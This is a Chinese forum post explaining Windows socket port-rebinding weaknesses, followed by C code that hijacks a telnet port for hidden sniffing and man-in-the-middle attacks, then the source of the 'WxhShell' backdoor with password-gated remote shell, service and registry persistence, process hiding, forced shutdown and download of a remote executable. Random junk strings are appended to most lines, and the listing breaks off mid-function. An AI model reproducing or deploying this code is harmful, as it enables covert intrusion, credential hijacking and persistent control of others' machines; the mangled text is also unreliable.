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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L-_dq0T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yoTbIQ  
 (A 2x  
  saddr.sin_family = AF_INET; Y(IT#x?p  
Vm.&JVb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UF)rBAv(/  
Zd@'s.,J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LO@.aJpp  
%Kd&A*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,]@K6  
q;3,}emg  
  这意味着什么?意味着可以进行如下的攻击: e*_8B2da  
%+oWW5q7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dsP|j (y  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `j*&F8}  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z qX  U  
fq/F| c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bb[%?~ E!  
pq[RH-{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bF %#KSVw  
rDkAeX0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lTe}[@(  
Eq zS={Olj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J{' u  
5VIpA  
  #include |D)NP N&  
  #include 9 v)p0  
  #include V%k[S|f3  
  #include    {= Dtajz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rP.qCl+J  
  int main() <tK 6+isc  
  { CBx1.xL  
  WORD wVersionRequested; H=]$9ZH!  
  DWORD ret; >nmby|XtW  
  WSADATA wsaData; E",s]  
  BOOL val; 5)4*J.  
  SOCKADDR_IN saddr; *leQd^47  
  SOCKADDR_IN scaddr; 3/8o)9f.  
  int err; ^ ab%Mbb  
  SOCKET s; u`Djle  
  SOCKET sc; VKy:e.  
  int caddsize; ";B.^pBv@;  
  HANDLE mt; 6N(Wv0b $  
  DWORD tid;   {snLiCl  
  wVersionRequested = MAKEWORD( 2, 2 ); q@;WXHO0  
  err = WSAStartup( wVersionRequested, &wsaData ); a?6 r4u0  
  if ( err != 0 ) { sKIWr{D  
  printf("error!WSAStartup failed!\n"); b?7?iV4  
  return -1; &n|! '/H  
  } P ETrMu<  
  saddr.sin_family = AF_INET; V ~w(^;o@  
   pH.wCD:1n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6}mbj=E`  
qF=D,Dlz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [oOZ6\?HB  
  saddr.sin_port = htons(23); P(G$@},W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B9|!8V  
  { L*bUjR,C  
  printf("error!socket failed!\n"); zR h1  
  return -1; fV*x2g7w  
  } Ous[{"-J  
  val = TRUE; s]`&9{=E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \1D~4Gz6}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %j=dKd>  
  { E&V"z^qs_  
  printf("error!setsockopt failed!\n"); g[Ah> 5  
  return -1; ;[WW,,!Y  
  } %@q52ZQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tu6oa[s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RL |.y~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9Q- /Yh  
3 D,PbAd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '-3AWBWI1  
  { !>b>"\b  
  ret=GetLastError(); i`7{q~d=  
  printf("error!bind failed!\n"); iaXNf ])?  
  return -1; P{5p'g ,  
  } t,= ta{ a  
  listen(s,2);  CJg &  
  while(1) T+NEw8C?/  
  { wxpD{P  
  caddsize = sizeof(scaddr); 6~?7CK  
  //接受连接请求 /S1EQ%_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r<V]MwO=  
  if(sc!=INVALID_SOCKET) > C{^{?~u  
  { ElhTB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x*}j$n(Oa  
  if(mt==NULL) {YWj`K  
  { S%uH*&`  
  printf("Thread Creat Failed!\n"); sR,]eo<p&  
  break; *X\i= K!  
  } 1i#uKKwE  
  } :s+AIo6  
  CloseHandle(mt); 2NAGXWE  
  } zkn K2e,$  
  closesocket(s); AuUT 'E@E  
  WSACleanup(); @Ek''a$  
  return 0; m9ts&b+TE  
  }   F6h3M~uR  
  DWORD WINAPI ClientThread(LPVOID lpParam) K+Q81<X~  
  { UBqA[9  
  SOCKET ss = (SOCKET)lpParam; hLGUkG?6G  
  SOCKET sc; kt%9PGw  
  unsigned char buf[4096]; <(`dU&&%"}  
  SOCKADDR_IN saddr; )5gcLD/zI  
  long num; |\@e  
  DWORD val; ?{%P9I  
  DWORD ret; meu\jg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "RuJlp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i;lzFu )G  
  saddr.sin_family = AF_INET; rmpJG |(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 85$MHod}[,  
  saddr.sin_port = htons(23); pBiC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [J\5DctX;c  
  { 9_ JK.  
  printf("error!socket failed!\n"); 'VFxg,  
  return -1; ]Rohf WHX  
  } [Ua4{3#  
  val = 100;  dKDtj:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -liVYI2s  
  { EAxg>}'1j  
  ret = GetLastError(); 1QtT*{zm$F  
  return -1; }Xyu" P  
  } w7p%6m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pA3j@w  
  { &tw.]3  
  ret = GetLastError(); w_@N T}  
  return -1; VE4!=4  
  } ,=B "%=S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'cy35M  
  { -'BJhi\Y]~  
  printf("error!socket connect failed!\n"); O7ceSz  
  closesocket(sc); ir qlU  
  closesocket(ss); J)A1`(x&T  
  return -1; 'e02rqip{  
  } HKv:)h{ ?  
  while(1) QW6F24  
  { dr^pzM!N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dm,7OQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,$Qa]UN5Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QX ishHk&  
  num = recv(ss,buf,4096,0); v3Tr6[9  
  if(num>0) f3lFpS  
  send(sc,buf,num,0); <i^Bq=E<rJ  
  else if(num==0) N\=pH{  
  break; 5!}xl9D  
  num = recv(sc,buf,4096,0); :y!e6  
  if(num>0) 8wwqV{O7  
  send(ss,buf,num,0); Yfk[mo  
  else if(num==0) !cE>L~cza  
  break; kLR4?tX!  
  } m46Q%hwV  
  closesocket(ss); sI/Hcm  
  closesocket(sc); \ lP c,8)  
  return 0 ; );}k@w fw)  
  } eJilSFp1  
5g&.P\c{  
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========================================================== r^ S 4 I&  
WG NuB9R  
下边附上一个代码,,WXhSHELL Wd~aSz9  
o;{  
========================================================== TU$/3fp*  
mC n,I  
#include "stdafx.h" k^ J~l=?v  
}+#-\a2  
#include <stdio.h> qg:R+`z  
#include <string.h> -LzHCO/7(  
#include <windows.h> {#: js  
#include <winsock2.h> upQ:C>S  
#include <winsvc.h> T.d+@ZV<#  
#include <urlmon.h> qCSJ=T;  
#R"9(Q&  
#pragma comment (lib, "Ws2_32.lib") {\ P$5O{%  
#pragma comment (lib, "urlmon.lib") W)1)zOD  
WfBA5  
#define MAX_USER   100 // 最大客户端连接数 apa~Is1  
#define BUF_SOCK   200 // sock buffer 7S7gU\qOj  
#define KEY_BUFF   255 // 输入 buffer /S$p_7N  
<(6@l@J|6  
#define REBOOT     0   // 重启 699z@>$}  
#define SHUTDOWN   1   // 关机 Z8(1QU,~2  
W tnZF]1:u  
#define DEF_PORT   5000 // 监听端口 .UakO,"z  
rhMsZ={M  
#define REG_LEN     16   // 注册表键长度 IQMk:  
#define SVC_LEN     80   // NT服务名长度 A@j;H|  
Um)0jT  
// 从dll定义API '$ ~.x|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l2+qP{_4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6%JKY+n^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f*Xonb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i?z3!`m  
Kw3fpNd  
// wxhshell配置信息 ^-w:D  
struct WSCFG { =2s 5>Oz+  
  int ws_port;         // 监听端口 R5ZnkPEA  
  char ws_passstr[REG_LEN]; // 口令 xAYC%)  
  int ws_autoins;       // 安装标记, 1=yes 0=no m}T^rX%m_  
  char ws_regname[REG_LEN]; // 注册表键名 ! o:m*:  
  char ws_svcname[REG_LEN]; // 服务名 M-K<w(,X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'C1=(PE%`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~&CaC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ra'0 ^4t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K0@2>nR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G`ZpFg0Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ve.iyr  
8U/q3@EC  
}; ^*`{W4e]  
bEV 9l  
// default Wxhshell configuration Z 7t0=U  
struct WSCFG wscfg={DEF_PORT, CCDoiTu!4  
    "xuhuanlingzhe", pL]C]HGv  
    1, C.C)&&|X  
    "Wxhshell", H4 Ca+;  
    "Wxhshell", >^Klq`"?g=  
            "WxhShell Service", a^ <  
    "Wrsky Windows CmdShell Service", xH; qJRHa  
    "Please Input Your Password: ", C (vi ns  
  1, A-~#ydv  
  "http://www.wrsky.com/wxhshell.exe", : &mYz(1q  
  "Wxhshell.exe" wp-5B= #:{  
    }; )pjd*+V  
;o,t *  
// 消息定义模块 b3wE8Co  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $)mq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %.r{+m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r) T^ Td1  
char *msg_ws_ext="\n\rExit."; <GF)5QB  
char *msg_ws_end="\n\rQuit."; <^U B@'lCm  
char *msg_ws_boot="\n\rReboot..."; 9U>ID{  
char *msg_ws_poff="\n\rShutdown..."; Nv,[E+a2  
char *msg_ws_down="\n\rSave to "; $lOx 6rL  
f-y4V}  
char *msg_ws_err="\n\rErr!"; 5@tpJ8E8$  
char *msg_ws_ok="\n\rOK!"; }Jk.c~P)  
7ks09Cy  
char ExeFile[MAX_PATH]; Gnj;=f  
int nUser = 0; (zWzF_v  
HANDLE handles[MAX_USER]; 9bPQD{Qb  
int OsIsNt; Fm3-Sn|Po  
CM>/b3nOW  
SERVICE_STATUS       serviceStatus; 4))u*c/,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V`TXn[7  
/R8>f  
// 函数声明 RV.z xPw>>  
int Install(void); $|C%G6!s?@  
int Uninstall(void); yUq,9.6Ig  
int DownloadFile(char *sURL, SOCKET wsh); 5{zXh  
int Boot(int flag); 5>t&)g  
void HideProc(void); Tg&{ P{$  
int GetOsVer(void); BcX}[?c  
int Wxhshell(SOCKET wsl); 2}'qu)  
void TalkWithClient(void *cs); qDqIy+WR  
int CmdShell(SOCKET sock); b+'G^!JR  
int StartFromService(void); &vj+3<2  
int StartWxhshell(LPSTR lpCmdLine); qlIC{:E0  
G&0&*mp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LXVm0IOFF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gT<E4$I69  
M/5/Tp  
// 数据结构和表定义 owCQ71Q  
SERVICE_TABLE_ENTRY DispatchTable[] = aP!a?xq  
{ y+(<Is0w  
{wscfg.ws_svcname, NTServiceMain}, T$06DS  
{NULL, NULL} H:`W\CP7_  
}; W([)b[-*  
0'Tq W9P  
// 自我安装 +%>s\W+?]  
int Install(void) PkLRQ}  
{  &{7n  
  char svExeFile[MAX_PATH]; ::dLOf8o  
  HKEY key; P~#!-9?  
  strcpy(svExeFile,ExeFile); =3{h9  
~4U[p  50  
// 如果是win9x系统,修改注册表设为自启动 '# "Z$  
if(!OsIsNt) { Fh? ;,Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ e+@9LNK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "}\2zub9  
  RegCloseKey(key); *GfGyOS(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '<!/\Jz9l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V8NJ0fF  
  RegCloseKey(key); 76c4~IG#  
  return 0; [p$b@og/>  
    } ,vrdtL  
  } `Vw9j,G  
} "@gJ[BL#  
else { dg4"4\c*P  
EQyRP. dq  
// 如果是NT以上系统,安装为系统服务 V(L~t=k$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NSOWn]E  
if (schSCManager!=0) KA`1IW;  
{ dY~3 YD[  
  SC_HANDLE schService = CreateService UX41/# 4  
  ( .Y&_k  
  schSCManager, 7WiVor$g-  
  wscfg.ws_svcname, 6](vnS;  
  wscfg.ws_svcdisp, itm;,Sbg  
  SERVICE_ALL_ACCESS, l'W?X '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3SpDV'}  
  SERVICE_AUTO_START, FMwT4]y  
  SERVICE_ERROR_NORMAL, &m5WmEz>`  
  svExeFile, ]RPv@z:V  
  NULL, +; C|5y  
  NULL, E;$t|~ #  
  NULL, Ufq"_^4  
  NULL, Wv77ef  
  NULL 9K#.0  
  ); P;VR[d4e/  
  if (schService!=0) j~\\,fl=  
  { )P[B!  
  CloseServiceHandle(schService); T)3#U8sT  
  CloseServiceHandle(schSCManager); MQQiQ 2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K>RL  
  strcat(svExeFile,wscfg.ws_svcname); S"|D!}@-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' hO+b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z Rz#0  
  RegCloseKey(key); 8!3+Obj  
  return 0; @IB8(TZ5I  
    } "3Dvc7V  
  } VDPqI+z  
  CloseServiceHandle(schSCManager); k5w+{iOh  
} ? Q.Y  
} CLQ\Is^]  
Yl&eeM  
return 1; 5>j,P   
} nkS6A}i3o  
Y;e@ `.(  
// 自我卸载 4-E9a_  
int Uninstall(void) a gBKp!  
{ )Si`>o3T-.  
  HKEY key; JGn@)!$+/  
dWR?1sV|e  
if(!OsIsNt) { /{>ds-;-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T(a* d7  
  RegDeleteValue(key,wscfg.ws_regname); O_-.@uo./(  
  RegCloseKey(key); OA%.>^yb@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pJ+>qy5  
  RegDeleteValue(key,wscfg.ws_regname); g[8V fIe  
  RegCloseKey(key); 5f/[HO)  
  return 0; :7W5R  
  } s<E_74q1  
} I}n"6'*  
} b7aAP*$  
else { /P^@dL  
q<oA%yR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); </bWFW~x  
if (schSCManager!=0) ~ZG>n{Q   
{ \Vm{5[:SA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Ral%I:gr  
  if (schService!=0) ;f?OT7>kN  
  { d^ipf*aLC  
  if(DeleteService(schService)!=0) { A |NX"  
  CloseServiceHandle(schService); RZOk.~[v  
  CloseServiceHandle(schSCManager); J-Sf9^G  
  return 0; %04>R'mN  
  } Y +HVn0~qz  
  CloseServiceHandle(schService); -<ZzYQk^h  
  } tDy1Gh/c  
  CloseServiceHandle(schSCManager); ~`*:E'/5k]  
} -W!g>^.  
} " 8;D^  
/Klwh1E  
return 1; js;IUSj.  
} lDMYDy{<  
i;6\tK"!  
// 从指定url下载文件 Y)BKRS~  
int DownloadFile(char *sURL, SOCKET wsh) 5kC#uk  
{ t,k9:p  
  HRESULT hr; D@DK9?#  
char seps[]= "/"; dH?pQ   
char *token; uBl&|yvxB  
char *file; b.YQN'  
char myURL[MAX_PATH]; *$`r)pV%AK  
char myFILE[MAX_PATH]; 168U-<  
F b`V.  
strcpy(myURL,sURL); oJ6 d:  
  token=strtok(myURL,seps); ? 1Z\=s  
  while(token!=NULL) tE>3.0U0Q  
  { 2q2wo&uK  
    file=token; .?AtW:<*I  
  token=strtok(NULL,seps); ?xN8 HG4  
  } 9 *]Z  
YH<@->Ip  
GetCurrentDirectory(MAX_PATH,myFILE); `q$DNOrS  
strcat(myFILE, "\\"); f8[2$i*cL  
strcat(myFILE, file); Plm3vk=  
  send(wsh,myFILE,strlen(myFILE),0); |7|mnOBdDf  
send(wsh,"...",3,0); %*eZoLD g]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gMHH3^\VH)  
  if(hr==S_OK) _QXo4z!a8  
return 0; QXXcJc~  
else c^Wm~"r  
return 1; FAPgXmFzx  
.rxc"fR4_  
} IgN,]y  
e m>CSBx  
// 系统电源模块 Yd/qcC(&  
int Boot(int flag) {W `/KU?u  
{ X 8[T*L.  
  HANDLE hToken; u6(7#n02  
  TOKEN_PRIVILEGES tkp; r9b`3yr=  
K''b)v X4  
  if(OsIsNt) { SG43}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )>TA|W]@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !u7WCw.Dm  
    tkp.PrivilegeCount = 1; _`D760q}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ef!I |.FW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UAcABL^2  
if(flag==REBOOT) { 0;k3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z,2m7C  
  return 0; Dt r'X@U  
} 5O*+5n  
else { i>!f|<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R^PQ`$W 'R  
  return 0; NiyAAw  
} \7og&j-h  
  } K32eZv`T7  
  else { QFX|ZsmK  
if(flag==REBOOT) { )'fIrBT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4~o\Os+8  
  return 0; YVs{\1|'  
} f5sk,Z  
else { L` Qiu@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y61E|:fV!  
  return 0; F." L{g  
} $&a`zffG  
} D_, 2z  
#m8Oy|Y9`  
return 1; .(`u'G=  
} +A:}5{  
ZnmBb_eX  
// win9x进程隐藏模块 r*tGT_/6  
void HideProc(void) 2t(E+^~  
{ > }:6m  
}F1^gN&QF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zA+ ^4/M  
  if ( hKernel != NULL ) HX<5i>]0\u  
  { nk-?$'i9q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?np` RA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cFH,fj  
    FreeLibrary(hKernel); JH?[hb  
  } d}WAP m  
re^1fv  
return; 0} {QQB  
} H:~LL0Md%  
hPEK@  
// 获取操作系统版本 M rVtxzH  
int GetOsVer(void) DrB=   
{ }O!LTD  
  OSVERSIONINFO winfo; ;OVJM qg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bfrBHW#  
  GetVersionEx(&winfo); D.\p7 NJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -M/ny-; `}  
  return 1; P+Hs6Q  
  else v,2{Vr  
  return 0; Llg[YBJ7>  
} Xw![}L >  
1;H(   
// 客户端句柄模块 K}a[~  
int Wxhshell(SOCKET wsl) l(<o,Uv[`  
{ UY|nB hL  
  SOCKET wsh; dc:|)bK M  
  struct sockaddr_in client; 8{h:z 9]J  
  DWORD myID; ]54V9l:  
`Th!bk  
  while(nUser<MAX_USER) 98V9AOgk  
{ ~rKo5#D  
  int nSize=sizeof(client); <k^h&1J#g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ob0clJX  
  if(wsh==INVALID_SOCKET) return 1; B04Br~hel*  
w"aD"}3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3RGVH,  
if(handles[nUser]==0) Nf3Kz#!B  
  closesocket(wsh); cG ^'Qm  
else 0iHK1Pt}  
  nUser++; dIK!xOStA  
  } RL>[t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uu3[Cf=C  
ZT|E1[Q  
  return 0; B:SzCC.B  
} 1_yUv7uhX  
Ip<STz]-  
// 关闭 socket h05 ~ g  
void CloseIt(SOCKET wsh) [kn`~hI  
{ 3+(Fq5I  
closesocket(wsh); _-&Au%QNJ`  
nUser--; RdvJA:;q  
ExitThread(0); Zcdt\;HKr  
} w3B*%x)  
0HF",:yl  
// 客户端请求句柄 LQR9S/?Ld  
void TalkWithClient(void *cs) p+yU!Qj  
{ tn:9  
69CH W&  
  SOCKET wsh=(SOCKET)cs; cMtkdIO  
  char pwd[SVC_LEN]; +:oHI[1HG  
  char cmd[KEY_BUFF]; J 9>uLz  
char chr[1]; }Z%*gfp  
int i,j; \O\onvEa  
r@iGM Jx$  
  while (nUser < MAX_USER) { 6Zkus20  
rTK/WZs8  
if(wscfg.ws_passstr) { YY$K;t{dk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6g7 X1C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 ?h)U|J?G  
  //ZeroMemory(pwd,KEY_BUFF); 191O(H  
      i=0;  ;m7$U  
  while(i<SVC_LEN) { ~|fd=E%  
g.&&=T  
  // 设置超时 |J~;yO SD  
  fd_set FdRead; q.rnZU  
  struct timeval TimeOut; O/0m|~`iY  
  FD_ZERO(&FdRead); + PGfQN  
  FD_SET(wsh,&FdRead); lE%0ifu  
  TimeOut.tv_sec=8; 22(0Jb\_  
  TimeOut.tv_usec=0; \{abyi;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2<|+h= &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZJI|762,  
V. :imj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |'1[\<MM3  
  pwd=chr[0]; whxE[Xnv  
  if(chr[0]==0xd || chr[0]==0xa) { &OWiA;e?f  
  pwd=0; Z7OWpujCvN  
  break; 5C2 *f 4|  
  } J[]YG+r  
  i++; .Ml}cE$L  
    } ]cFqKs  
RqH"+/wR  
  // 如果是非法用户,关闭 socket Rs5G5W@"A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nj #Ab  
} &!m;s_gi  
2h u;N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :DQHb"(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (x#4BI}L9)  
Q9?/)&3Bu  
while(1) { A1Rt  
:`oYD  
  ZeroMemory(cmd,KEY_BUFF); +9,"ne1'e  
0xZq?9a  
      // 自动支持客户端 telnet标准   mu|#(u  
  j=0; G#n27y nh  
  while(j<KEY_BUFF) { Hza{"I*^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i]xyD'0  
  cmd[j]=chr[0]; Exk[;lI  
  if(chr[0]==0xa || chr[0]==0xd) {  t\u0\l>  
  cmd[j]=0; lSl=6R  
  break; > : \lDz  
  } [%z~0\lu8  
  j++; P\N$TYeH  
    }  +'Tr>2V  
JdFMSmZ@  
  // 下载文件 zziujs:  
  if(strstr(cmd,"http://")) { Hi <{c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rEs,o3h?po  
  if(DownloadFile(cmd,wsh)) 0|P RCq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|6S&Ia>  
  else  fW|1AUD,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MQw{^6Z>1  
  } LW0't} z  
  else { w\s$  
sf7'8+wj>  
    switch(cmd[0]) { >\3=h8zw  
  OB l-6W  
  // 帮助 H2|&  
  case '?': { t&H):P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -=5z&) X  
    break; D_(xhM  
  } q_ ']i6  
  // 安装 .6f %"E,  
  case 'i': { [6)`wi  
    if(Install()) vR-rCve$P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 0jjLqm:  
    else IHMZE42  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/6B[,V  
    break; )r5QOa/  
    } ]X;Ty\UD&  
  // 卸载 _U%!&_m6  
  case 'r': { >jRz4%  
    if(Uninstall()) mEr* n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lMFj"x\  
    else ??ah  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d,6 Z  
    break; vw>O;u.]B  
    } 4 Z1- RS  
  // 显示 wxhshell 所在路径 N-4LdC  
  case 'p': { P ;PS+S9  
    char svExeFile[MAX_PATH]; R0, Q`  
    strcpy(svExeFile,"\n\r"); 8yA :C  
      strcat(svExeFile,ExeFile); Tg)Fr)  
        send(wsh,svExeFile,strlen(svExeFile),0); 1E=%:?d  
    break; 3RZP 12x  
    }  s>76?Q:i  
  // 重启 Qte=<Z)  
  case 'b': { \y"!`.E7\d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TOeJnk  
    if(Boot(REBOOT)) B&+V%~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OjJKloy'  
    else { #rF|X6P  
    closesocket(wsh); I[WW1P5  
    ExitThread(0); o5 @ l!NQ  
    } WojZ[j>  
    break; O>lF{yO0`  
    } P`cEu6:  
  // 关机 [XhuJdr"u  
  case 'd': { :|EM1-lwf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U[ u9RB  
    if(Boot(SHUTDOWN)) n*{e0,gp`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJ%bBL'.  
    else { J`Q#p%W  
    closesocket(wsh); ,a~- (@  
    ExitThread(0); FzXVNUMP  
